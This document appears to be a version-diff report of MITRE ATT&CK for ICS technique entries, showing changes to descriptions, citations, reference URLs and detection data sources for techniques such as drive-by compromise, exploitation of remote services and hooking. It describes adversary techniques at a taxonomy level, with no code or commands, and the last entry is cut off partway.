| of targeted attack relies on a common interest, and is know | | of targeted attack relies on a common interest, and is know |
| n as a strategic web compromise or watering hole attack. T | | n as a strategic web compromise or watering hole attack. T |
| he National Cyber Awareness System (NCAS) has issued a Techn | | he National Cyber Awareness System (NCAS) has issued a Techn |
| ical Alert (TA) regarding Russian government cyber activity | | ical Alert (TA) regarding Russian government cyber activity |
| targeting critical infrastructure sectors. (Citation: Aler | | targeting critical infrastructure sectors. (Citation: Cybers |
| t - CISA TA18-074A) Analysis by DHS and FBI has noted two di | | ecurity & Infrastructure Security Agency March 2018) Analysi |
| stinct categories of victims in the Dragonfly campaign on th | | s by DHS and FBI has noted two distinct categories of victim |
| e Western energy sector: staging and intended targets. The a | | s in the Dragonfly campaign on the Western energy sector: st |
| dversary targeted the less secure networks of staging target | | aging and intended targets. The adversary targeted the less |
| s, including trusted third-party suppliers and related perip | | secure networks of staging targets, including trusted third- |
| heral organizations. Initial access to the intended targets | | party suppliers and related peripheral organizations. Initia |
| used watering hole attacks to target process control, ICS, a | | l access to the intended targets used watering hole attacks |
| nd critical infrastructure related trade publications and in | | to target process control, ICS, and critical infrastructure |
| formational websites. | | related trade publications and informational websites. |
New Detections:
- DS0009: Process (Process Creation)
- DS0015: Application Log (Application Log Content)
- DS0022: File (File Creation)
- DS0029: Network Traffic (Network Connection Creation)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.858000+00:00 |
| description | Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website.
The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack.
The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors.
(Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites. | Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. (Citation: Cybersecurity & Infrastructure Security Agency March 2018) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0817 | https://attack.mitre.org/Technique/T0817 |
| external_references[1]['source_name'] | Alert - CISA TA18-074A | Cybersecurity & Infrastructure Security Agency March 2018 |
| external_references[1]['description'] | NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019. | Cybersecurity & Infrastructure Security Agency 2018, March 15 Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2019/10/11 |
| external_references[1]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-074A | https://us-cert.cisa.gov/ncas/alerts/TA18-074A |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Network Traffic: Network Connection Creation |
[T0871] Execution through API
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0011: Module (Module Load)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.858000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0871 | https://attack.mitre.org/Technique/T0871 |
[T0819] Exploit Public-Facing Application
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may leverage weaknesses to exploit internet-faci | t | Adversaries may leverage weaknesses to exploit internet-faci |
| ng software for initial access into an industrial network. I | | ng software for initial access into an industrial network. I |
| nternet-facing software may be user applications, underlying | | nternet-facing software may be user applications, underlying |
| networking implementations, an assets operating system, wea | | networking implementations, an assets operating system, wea |
| k defenses, etc. Targets of this technique may be intentiona | | k defenses, etc. Targets of this technique may be intentiona |
| lly exposed for the purpose of remote management and visibil | | lly exposed for the purpose of remote management and visibil |
| ity. An adversary may seek to target public-facing applicati | | ity. An adversary may seek to target public-facing applica |
| ons as they may provide direct access into an ICS environmen | | tions as they may provide direct access into an ICS environm |
| t or the ability to move into the ICS network. Publicly expo | | ent or the ability to move into the ICS network. Publicly ex |
| sed applications may be found through online tools that scan | | posed applications may be found through online tools that sc |
| the internet for open ports and services. Version numbers f | | an the internet for open ports and services. Version numbers |
| or the exposed application may provide adversaries an abilit | | for the exposed application may provide adversaries an abil |
| y to target specific known vulnerabilities. Exposed control | | ity to target specific known vulnerabilities. Exposed contro |
| protocol or remote access ports found in Commonly Used Port | | l protocol or remote access ports found in Commonly Used Por |
| may be of interest by adversaries. | | t may be of interest by adversaries. |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.858000+00:00 |
| description | Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries. | Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0819 | https://attack.mitre.org/Technique/T0819 |
[T0820] Exploitation for Evasion
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may exploit a software vulnerability to take adv | t | Adversaries may exploit a software vulnerability to take adv |
| antage of a programming error in a program, service, or with | | antage of a programming error in a program, service, or with |
| in the operating system software or kernel itself to evade d | | in the operating system software or kernel itself to evade d |
| etection. Vulnerabilities may exist in software that can be | | etection. Vulnerabilities may exist in software that can be |
| used to disable or circumvent security features. Adversarie | | used to disable or circumvent security features. Adversarie |
| s may have prior knowledge through <span class="smw-format l | | s may have prior knowledge through [Remote System Informatio |
| ist-format "><span class="smw-row"><span class="smw-field">< | | n Discovery](https://attack.mitre.org/techniques/T0888) abou |
| span class="smw-value">Control Device Identification</span>< | | t security features implemented on control devices. These de |
| /span></span></span> about security features implemented on | | vice security features will likely be targeted directly for |
| control devices. These device security features will likely | | exploitation. There are examples of firmware RAM/ROM consist |
| be targeted directly for exploitation. There are examples of | | ency checks on control devices being targeted by adversaries |
| firmware RAM/ROM consistency checks on control devices bein | | to enable the installation of malicious [System Firmware](h |
| g targeted by adversaries to enable the installation of mali | | ttps://attack.mitre.org/techniques/T0857). |
| cious System Firmware | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.859000+00:00 |
| description | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features.
Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through [Remote System Information Discovery](https://attack.mitre.org/techniques/T0888) about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious [System Firmware](https://attack.mitre.org/techniques/T0857). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0820 | https://attack.mitre.org/Technique/T0820 |
[T0890] Exploitation for Privilege Escalation
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may exploit software vulnerabilities in an attem | t | Adversaries may exploit software vulnerabilities in an attem |
| pt to elevate privileges. Exploitation of a software vulnera | | pt to elevate privileges. Exploitation of a software vulnera |
| bility occurs when an adversary takes advantage of a program | | bility occurs when an adversary takes advantage of a program |
| ming error in a program, service, or within the operating sy | | ming error in a program, service, or within the operating sy |
| stem software or kernel itself to execute adversary-controll | | stem software or kernel itself to execute adversary-controll |
| ed code. Security constructs such as permission levels will | | ed code. Security constructs such as permission levels will |
| often hinder access to information and use of certain techni | | often hinder access to information and use of certain techni |
| ques, so adversaries will likely need to perform privilege e | | ques, so adversaries will likely need to perform privilege e |
| scalation to include use of software exploitation to circumv | | scalation to include use of software exploitation to circumv |
| ent those restrictions. When initially gaining access to a s | | ent those restrictions. (Citation: The MITRE Corporation) W |
| ystem, an adversary may be operating within a lower privileg | | hen initially gaining access to a system, an adversary may b |
| ed process which will prevent them from accessing certain re | | e operating within a lower privileged process which will pre |
| sources on the system. Vulnerabilities may exist, usually in | | vent them from accessing certain resources on the system. Vu |
| operating system components and software commonly running a | | lnerabilities may exist, usually in operating system compone |
| t higher permissions, that can be exploited to gain higher l | | nts and software commonly running at higher permissions, tha |
| evels of access on the system. This could enable someone to | | t can be exploited to gain higher levels of access on the sy |
| move from unprivileged or user level permissions to SYSTEM o | | stem. This could enable someone to move from unprivileged or |
| r root permissions depending on the component that is vulner | | user level permissions to SYSTEM or root permissions depend |
| able. This may be a necessary step for an adversary compromi | | ing on the component that is vulnerable. This may be a neces |
| sing an endpoint system that has been properly configured an | | sary step for an adversary compromising an endpoint system t |
| d limits other privilege escalation methods. | | hat has been properly configured and limits other privilege |
| | | escalation methods. (Citation: The MITRE Corporation) |
New Detections:
- DS0009: Process (OS API Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.860000+00:00 |
| description | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. (Citation: The MITRE Corporation) When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. (Citation: The MITRE Corporation) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0890 | https://attack.mitre.org/Technique/T0890 |
| external_references[1]['source_name'] | ATT&CK Exploitation for Privilege Escalation | The MITRE Corporation |
| external_references[1]['description'] | The MITRE Corporation. (n.d.). ATT&CK T1068: Exploitation for Privilege Escalation. Retrieved April 12, 2021. | The MITRE Corporation ATT&CK T1068: Exploitation for Privilege Escalation Retrieved. 2021/04/12 |
| x_mitre_platforms[1] | Safety Instrumented System/Protection Relay | Safety Instrumented System/Protection Relay |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'The MITRE Corporation', 'description': 'The MITRE Corporation The MITRE Corporation ATT&CK T1068: Exploitation for Privilege Escalation Retrieved. 2021/04/12 ATT&CK T1068: Exploitation for Privilege Escalation Retrieved. 2021/04/12 ', 'url': 'https://attack.mitre.org/techniques/T1068/'} |
[T0866] Exploitation of Remote Services
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may exploit a software vulnerability to take adv | t | Adversaries may exploit a software vulnerability to take adv |
| antage of a programming error in a program, service, or with | | antage of a programming error in a program, service, or with |
| in the operating system software or kernel itself to enable | | in the operating system software or kernel itself to enable |
| remote service abuse. A common goal for post-compromise expl | | remote service abuse. A common goal for post-compromise expl |
| oitation of remote services is for lateral movement to enabl | | oitation of remote services is for initial access into and l |
| e access to a remote system. (Citation: EAttack Exploitation | | ateral movement throughout the ICS environment to enable acc |
| of Remote Services) ICS asset owners and operators have be | | ess to targeted systems. (Citation: Enterprise ATT&CK) ICS |
| en affected by ransomware (or disruptive malware masqueradin | | asset owners and operators have been affected by ransomware |
| g as ransomware) migrating from enterprise IT to ICS environ | | (or disruptive malware masquerading as ransomware) migrating |
| ments: WannaCry, NotPetya, and BadRabbit. In each of these c | | from enterprise IT to ICS environments: WannaCry, NotPetya, |
| ases, self-propagating (“wormable”) malware initially infect | | and BadRabbit. In each of these cases, self-propagating (wo |
| ed IT networks, but through exploit (particularly the SMBv1- | | rmable) malware initially infected IT networks, but through |
| targeting MS17-010 vulnerability) spread to industrial netwo | | exploit (particularly the SMBv1-targeting MS17-010 vulnerabi |
| rks, producing significant impacts. (Citation: Reference - D | | lity) spread to industrial networks, producing significant i |
| ragos - 201910) | | mpacts. (Citation: Joe Slowik April 2019) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.861000+00:00 |
| description | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services)
ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910) | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for initial access into and lateral movement throughout the ICS environment to enable access to targeted systems. (Citation: Enterprise ATT&CK) ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (wormable) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Joe Slowik April 2019) |
| kill_chain_phases[0]['phase_name'] | lateral-movement-ics | initial-access-ics |
| kill_chain_phases[1]['phase_name'] | initial-access-ics | lateral-movement-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0866 | https://attack.mitre.org/Technique/T0866 |
| external_references[1]['source_name'] | EAttack Exploitation of Remote Services | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019. | Enterprise ATT&CK Exploitation of Remote Services Retrieved. 2019/10/27 |
| external_references[2]['source_name'] | Reference - Dragos - 201910 | Joe Slowik April 2019 |
| external_references[2]['description'] | Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019. | Joe Slowik 2019, April 10 Implications of IT Ransomware for ICS Environments Retrieved. 2019/10/27 |
[T0822] External Remote Services
Current version: 1.0
Version changed from: 0.0 → 1.0
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|---|
| t | Adversaries may leverage external remote services as a point | t | Adversaries may leverage external remote services as a point |
| of initial access into your network. These services allow u | | of initial access into your network. These services allow u |
| sers to connect to internal network resources from external | | sers to connect to internal network resources from external |
| locations. Examples are VPNs, Citrix, and other access mecha | | locations. Examples are VPNs, Citrix, and other access mecha |
| nisms. Remote service gateways often manage connections and | | nisms. Remote service gateways often manage connections and |
| credential authentication for these services.(Citation: EAtt | | credential authentication for these services. (Citation: Dan |
| ack External Remote Services) External remote services allow | | iel Oakley, Travis Smith, Tripwire) External remote service |
| administration of a control system from outside the system. | | s allow administration of a control system from outside the |
| Often, vendors and internal engineering groups have access | | system. Often, vendors and internal engineering groups have |
| to external remote services to control system networks via t | | access to external remote services to control system network |
| he corporate network. In some cases, this access is enabled | | s via the corporate network. In some cases, this access is e |
| directly from the internet. While remote access enables ease | | nabled directly from the internet. While remote access enabl |
| of maintenance when a control system is in a remote area, c | | es ease of maintenance when a control system is in a remote |
| ompromise of remote access solutions is a liability. The adv | | area, compromise of remote access solutions is a liability. |
| ersary may use these services to gain access to and execute | | The adversary may use these services to gain access to and e |
| attacks against a control system network. Access to valid ac | | xecute attacks against a control system network. Access to v |
| counts is often a requirement. As they look for an entry poi | | alid accounts is often a requirement. As they look for an |
| nt into the control system network, adversaries may begin se | | entry point into the control system network, adversaries may |
| arching for existing point‐to‐point VPN implementations at t | | begin searching for existing pointtopoint VPN implementatio |
| rusted third party networks or through remote support employ | | ns at trusted third party networks or through remote support |
| ee connections where split tunneling is enabled.(Citation: U | | employee connections where split tunneling is enabled. (Cit |
| kraine15 - EISAC - 201603) In the Maroochy Attack, the adver | | ation: Electricity Information Sharing and Analysis Center; |
| sary was able to gain remote computer access to the system o | | SANS Industrial Control Systems March 2016) In the Maroochy |
| ver radio. | | Attack, the adversary was able to gain remote computer acce |
| | | ss to the system over radio. |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0028: Logon Session (Logon Session Metadata)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.863000+00:00 |
| description | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: Daniel Oakley, Travis Smith, Tripwire) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing pointtopoint VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0822 | https://attack.mitre.org/Technique/T0822 |
| external_references[1]['source_name'] | EAttack External Remote Services | Daniel Oakley, Travis Smith, Tripwire |
| external_references[1]['description'] | Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018. | Daniel Oakley, Travis Smith, Tripwire Retrieved. 2018/05/30 |
| external_references[2]['source_name'] | Ukraine15 - Zetter, Kim | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016 |
| external_references[2]['description'] | Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems 2016, March 18 Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/ | https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt6a77276749b76a40/607f235992f0063e5c070fff/E-ISAC_SANS_Ukraine_DUC_5%5b73%5d.pdf |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Ukraine15 - ICSCERT', 'description': 'ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.', 'url': 'https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01'} | |
| external_references | {'source_name': 'Ukraine15 - Fireeye', 'description': 'John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html'} | |
| external_references | {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'} | |
[T0823] Graphical User Interface
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may attempt to gain access to a machine via a Gr | t | Adversaries may attempt to gain access to a machine via a Gr |
| aphical User Interface (GUI) to enhance execution capabiliti | | aphical User Interface (GUI) to enhance execution capabiliti |
| es. Access to a GUI allows a user to interact with a compute | | es. Access to a GUI allows a user to interact with a compute |
| r in a more visual manner than a CLI. A GUI allows users to | | r in a more visual manner than a CLI. A GUI allows users to |
| move a cursor and click on interface objects, with a mouse a | | move a cursor and click on interface objects, with a mouse a |
| nd keyboard as the main input devices, as opposed to just us | | nd keyboard as the main input devices, as opposed to just us |
| ing the keyboard. If physical access is not an option, then | | ing the keyboard. If physical access is not an option, then |
| access might be possible via protocols such as VNC on Linux- | | access might be possible via protocols such as VNC on Linux |
| based and Unix-based operating systems, and RDP on Windows o | | -based and Unix-based operating systems, and RDP on Windows |
| perating systems. An adversary can use this access to execut | | operating systems. An adversary can use this access to execu |
| e programs and applications on the target machine. In the O | | te programs and applications on the target machine. In the |
| ldsmar water treatment attack, adversaries utilized the oper | | Oldsmar water treatment attack, adversaries utilized the ope |
| ator HMI interface through the graphical user interface. Thi | | rator HMI interface through the graphical user interface. Th |
| s action led to immediate operator detection as they were ab | | is action led to immediate operator detection as they were a |
| le to see the adversary making changes on their screen. (Cit | | ble to see the adversary making changes on their screen. (Ci |
| ation: Oldsmar Water Treatment Attack Feb 2021) | | tation: Pinellas County Sheriffs Office February 2021) |
New Detections:
- DS0009: Process (Process Creation)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 15:25:32.143000+00:00 | 2022-04-21 22:02:03.864000+00:00 |
| description | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.
In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021) | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Pinellas County Sheriffs Office February 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0823 | https://attack.mitre.org/Technique/T0823 |
| external_references[1]['source_name'] | Ukraine15 - EISAC - 201603 | Pinellas County Sheriffs Office February 2021 |
| external_references[1]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Pinellas County Sheriffs Office 2021, February 8 Treatment Plant Intrusion Press Conference Retrieved. 2021/10/08 |
| external_references[1]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://www.youtube.com/watch?v=MkXDSOgLQ6M |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'} | |
[T0874] Hooking
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may hook into application programming interface | t | Adversaries may hook into application programming interface |
| (API) functions used by processes to redirect calls for pers | | (API) functions used by processes to redirect calls for exec |
| istent means. Windows processes often leverage these API fun | | ution and privilege escalation means. Windows processes ofte |
| ctions to perform tasks that require reusable system resourc | | n leverage these API functions to perform tasks that require |
| es. Windows API functions are typically stored in dynamic-li | | reusable system resources. Windows API functions are typica |
| nk libraries (DLLs) as exported functions. (Citation: EAttac | | lly stored in dynamic-link libraries (DLLs) as exported func |
| k Hooking) One type of hooking seen in ICS involves redirec | | tions. (Citation: Enterprise ATT&CK) One type of hooking se |
| ting calls to these functions via import address table (IAT) | | en in ICS involves redirecting calls to these functions via |
| hooking. IAT hooking uses modifications to a process’s IAT, | | import address table (IAT) hooking. IAT hooking uses modific |
| where pointers to imported API functions are stored. (Citat | | ations to a processs IAT, where pointers to imported API fun |
| ion: Stuxnet - Symantec - 201102) | | ctions are stored. (Citation: Nicolas Falliere, Liam O Murch |
| | | u, Eric Chien February 2011) |
New Detections:
- DS0011: Module (Module Load)
- DS0022: File (File Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.865000+00:00 |
| description | Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking)
